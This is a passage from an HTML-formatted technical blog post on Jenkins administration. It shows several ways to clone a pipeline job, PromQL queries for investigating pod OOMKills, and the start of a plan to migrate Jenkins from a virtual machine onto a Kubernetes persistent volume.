&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --data-binary &lt;span style="color:#e6db74"&gt;&amp;#34;@new-awesome-pipeline.xml&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;Content-Type: application/xml&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="133-the-jenkins-script-console-groovy-way"&gt;1.3.3 The Jenkins Script Console (Groovy way):&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;If you have access to the Jenkins Script Console, you can use a groovy script to clone the job.&lt;/li&gt;
&lt;li&gt;Go to &lt;code&gt;Manage Jenkins&lt;/code&gt; &amp;ndash;&amp;gt; &lt;code&gt;Script Console&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Run the following script:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-groovy" data-lang="groovy"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; sourceJob &lt;span style="color:#f92672"&gt;=&lt;/span&gt; jenkins&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;model&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Jenkins&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;instance&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getItem&lt;/span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;my-awesome-pipeline&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; newJob &lt;span style="color:#f92672"&gt;=&lt;/span&gt; jenkins&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;model&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Jenkins&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;instance&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;copy&lt;/span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;sourceJob&lt;span style="color:#f92672"&gt;,&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;new-awesome-pipeline&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;newJob&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;save&lt;/span&gt;&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;This will create a new job with the same configuration as the source job. All you have to do this, is change the bitbucket repository name, hit save, and done.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="134-the-jenkins-cli-command-line-way"&gt;1.3.4 The Jenkins CLI (Command Line way):&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;If you have access to the Jenkins CLI, you can use it to clone the job.&lt;/li&gt;
&lt;li&gt;Download the jenkins-cli.jar from your jenkins server.&lt;/li&gt;
&lt;li&gt;Run the following command:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;java -jar jenkins-cli.jar -s https://your-jenkins/ -auth admin:admin_api_token get-job my-awesome-pipeline &amp;gt; new-awesome-pipeline.xml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Open &lt;code&gt;new-awesome-pipeline.xml&lt;/code&gt;, change the repository name, and replace it with new one, and save it.&lt;/li&gt;
&lt;li&gt;Run the following command:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;java -jar jenkins-cli.jar -s https://your-jenkins/ -auth admin:admin_api_token create-job new-awesome-pipeline &amp;lt; new-awesome-pipeline.xml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;This will create a new job with the same configuration as the source job. All you have to do this, is change the bitbucket repository name, hit save, and done.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="135-the-dsl-way-using-jenkins-job-dsl-plugin"&gt;1.3.5 The DSL way, using Jenkins Job DSL plugin:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;If you have the Jenkins Job DSL plugin installed, you can use it to clone the job with a one click.&lt;/li&gt;
&lt;li&gt;Go to Dashboard &amp;ndash;&amp;gt; New Item &amp;ndash;&amp;gt; Enter the name of job &amp;ndash;&amp;gt; Select Free-Style-Project &amp;ndash;&amp;gt; Click on &amp;ldquo;OK&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Scroll down to build steps section, click &lt;code&gt;add build step&lt;/code&gt; and select &lt;code&gt;Process Job DSLs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Select the radio button for &lt;code&gt;Use the provided DSL script&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Paste the following DSL script. I only referenced the config.xml file from the source job to write below groovy code.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-groovy" data-lang="groovy"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;multibranchPipelineJob&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;new-awesome-pipeline&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; description&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;Cloned from my-awesome-pipeline&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; displayName&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;New Awesome Pipeline&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// where to find the jenkins file in branch (&amp;#39;factory&amp;#39; XML block)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; factory &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; workflowBranchProjectFactory &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; scriptPath&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;Jenkinsfile&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Dead branch clean up (&amp;#39;orphanedItemStrategy XML Block)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; orphanedItemStrategy &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; discardedItemStrategy &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; daysToKeep&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; numToKeep&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// The Bitbucket configuration (&amp;#39;sources&amp;#39; xml block)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; configure &lt;span style="color:#f92672"&gt;{&lt;/span&gt; node &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// We tell the DSL to navigate to the &amp;#39;sources/data/jenkins.branch.BranchSource&amp;#39; element
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; branchSource &lt;span style="color:#f92672"&gt;=&lt;/span&gt; node &lt;span style="color:#e6db74"&gt;/ &amp;#39;sources&amp;#39; /&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;data&amp;#39;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/ &amp;#39;jenkins.branch.BranchSource&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; // We inject the bitbucket plugin class
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; branchSource /&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;source&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;class: &lt;span style="color:#e6db74"&gt;&amp;#39;com.atlassian.bitbucket.jenkins.internal.scm.BitbucketSCMSource&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; id&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; serverId&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;c8b2e4f6-7a9d-4c3e-8f2a-1b3c4d5e6f7g&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; credentialsId&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;bitbucket-credentials&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; projectKey&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;PROJ&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; repositoryName&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;new-awesome-repo&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// We inject the Branch Traits and Filters
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; traits &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;com.atlassian.bitbucket.jenkins.internal.scm.trait.BitbucketSCMSourceDefaultsTrait&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;jenkins.scm.impl.trait.WildcardSCMHeadFilterTrait&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; includes&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;main&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;,&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;develop&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; excludes&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;feature/*&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;,&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;bugfix/*&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// We inject shallow clone and no tags settings
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;jenkins.plugins.git.traits.CloneOptionTrait&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; extension&lt;span style="color:#f92672"&gt;(&lt;/span&gt;class: &lt;span style="color:#e6db74"&gt;&amp;#39;hudson.plugins.git.extensions.impl.CloneOption&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shallow&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;true&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; noTags&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;true&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; depth&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; honorRefspec&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;false&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Final strategy block requirement
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; branchSource &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;strategy&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;class: &lt;span style="color:#e6db74"&gt;&amp;#39;jenkins.branch.DefaultBranchPropertyStrategy&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; properties&lt;span style="color:#f92672"&gt;(&lt;/span&gt;class: &lt;span style="color:#e6db74"&gt;&amp;#39;empty-list&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="14-how-to-investigate-jenkins-pod-deletions-trap--the-oomkills"&gt;1.4 How to investigate Jenkins Pod deletions Trap ? (The OOMKills)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;All data of pod deletions is for sure available in the prometheous database, if they are not visible in the grafana, then we have to pull the data out using promql queries.&lt;/li&gt;
&lt;li&gt;For getting a historical memory usage:
&lt;code&gt;container_memory_working_get_bytes{pod=~&amp;quot;.*jenkins.*&amp;quot;, container!=&amp;quot;POD&amp;quot;, container!=&amp;quot;&amp;quot;}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;cpu usage:
&lt;code&gt;rate(container_cpu_usage_seconds_total{pod=~&amp;quot;.*jenkins.*&amp;quot;, container!=&amp;quot;POD&amp;quot;, container!=&amp;quot;&amp;quot;}[5m])&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;pod restarts:
&lt;code&gt;kube_pod_container_status_restarts_total{pod=~&amp;quot;.*jenkins.*&amp;quot;}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="15-can-we-migrate-the-existing-jenkins-instance-on-a-virtual-machine-into-something-that-runs-directly-on-the-kubernetes-cluster-is-it-possible-how-hard-is-it"&gt;1.5 Can we migrate the existing Jenkins instance on a virtual machine into something that runs directly on the Kubernetes cluster? Is it possible? How hard is it?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This is originally the concept of &amp;ldquo;Pets vs. Cattle&amp;rdquo; in server management.&lt;/li&gt;
&lt;li&gt;Running Jenkins on a Virtual machine makes it a &amp;ldquo;pet&amp;rdquo; (you have to feed it, care for it, and if it dies, you are devastated)&lt;/li&gt;
&lt;li&gt;Moving it to Kubernetes makes it &amp;ldquo;cattle&amp;rdquo; (highly available, easily replaceable, and decoupled from the underlying infrastructure)&lt;/li&gt;
&lt;li&gt;To answer the question, it&amp;rsquo;s absolutely possible, and as far as how hard it is? It depends on how heavily the current Jenkins setup relies on the underlying virtual machine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Secret to Migration:&lt;/strong&gt; The beautiful (and sometimes frustrating) thing about Jenkins is that it does not use a traditional database like MySQL or PostgreSQL. Absolutely everything - your configurations, user data, plugin binaries, job definitions, and build history - lives in a single directory, usually located at &lt;code&gt;/var/lib/jenkins&lt;/code&gt; on the virtual machine.&lt;/li&gt;
&lt;li&gt;Our &lt;strong&gt;Migration Plan&lt;/strong&gt; is simple: we can tar gzip this directory and try to keep it in a persistent volume, which can later be attached to the Jenkins pod in the Kubernetes cluster.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dummy Pod Solution for Chicken-and-egg problem:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;core problem: We have just created a brand new, empty persistent volume in kubernetes cluster, how do you get your jenkins.tar.gz file (&lt;code&gt;/var/lib/jenkins&lt;/code&gt; data) into it?&lt;/li&gt;
&lt;li&gt;Ok, if this were a physical server, you would plug hard drive into motherboard, format it, and copy files over. But in kubernetes, this PV is a virtual block of storage floating in cluster. We cannot &lt;code&gt;scp&lt;/code&gt; or &lt;code&gt;ssh&lt;/code&gt; directly into a hard drive.&lt;/li&gt;
&lt;li&gt;A hard drive must be attached to a running OS to accept the files. In kubernetes, the &amp;ldquo;running OS&amp;rdquo; is a Pod.&lt;/li&gt;
&lt;li&gt;Here is why we dont just attach empty PV to the real jenkins pod
&lt;ul&gt;
&lt;li&gt;If we start the jenkins helm chart with empty PVC, jenkins will wake up, see an empty folder, and immediately start running its &amp;ldquo;first time setup&amp;rdquo; wizard. It will create new, blank configuration files.&lt;/li&gt;
&lt;li&gt;We dont want a blank jenkins, we want our original jenkins.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;There, we use a &lt;strong&gt;Dummy Pod&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;We spin up a tiny, temporary Pod with the empty PVC to it. Think of this as plugging an external USB drive into a temperary laptop.&lt;/li&gt;
&lt;li&gt;We use &lt;code&gt;kubectl cp&lt;/code&gt; to copy the jenkins.tar.gz file from our local machine to this dummy pod, and extract it into a mounted volume.&lt;/li&gt;
&lt;li&gt;Now PVC contains all our jenkins data.&lt;/li&gt;
&lt;li&gt;We throw away the temporary dummy pod. (delete it)&lt;/li&gt;
&lt;li&gt;Finally, we spin up the real jenkins Pod and attach that same PVC. Jenkins wakes up, sees all old configurations, and skips setup wizard entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Actions:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Copy the jenkins data to the K8s control node&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# SSH into your virual machine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /var/lib; tar -cvzf jenkins.tar.gz jenkins
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# copy it to the control node of k8s cluster&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;scp jenkins.tar.gz user@control-node:k8s/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Lets create the PVC for jenkins data&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Create a PVC for jenkins data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat &lt;span style="color:#e6db74"&gt;&amp;lt;&amp;lt;EOF | kubectl apply -f -
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;apiVersion: v1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;kind: PersistentVolumeClaim
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;metadata: 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; name: jenkins-pvc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; namespace: jenkins
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;spec:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; accessModes:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; - ReadWriteOnce
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; resources:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; requests:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; storage: 10Gi
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Create the dummy pod&lt;/span&gt;
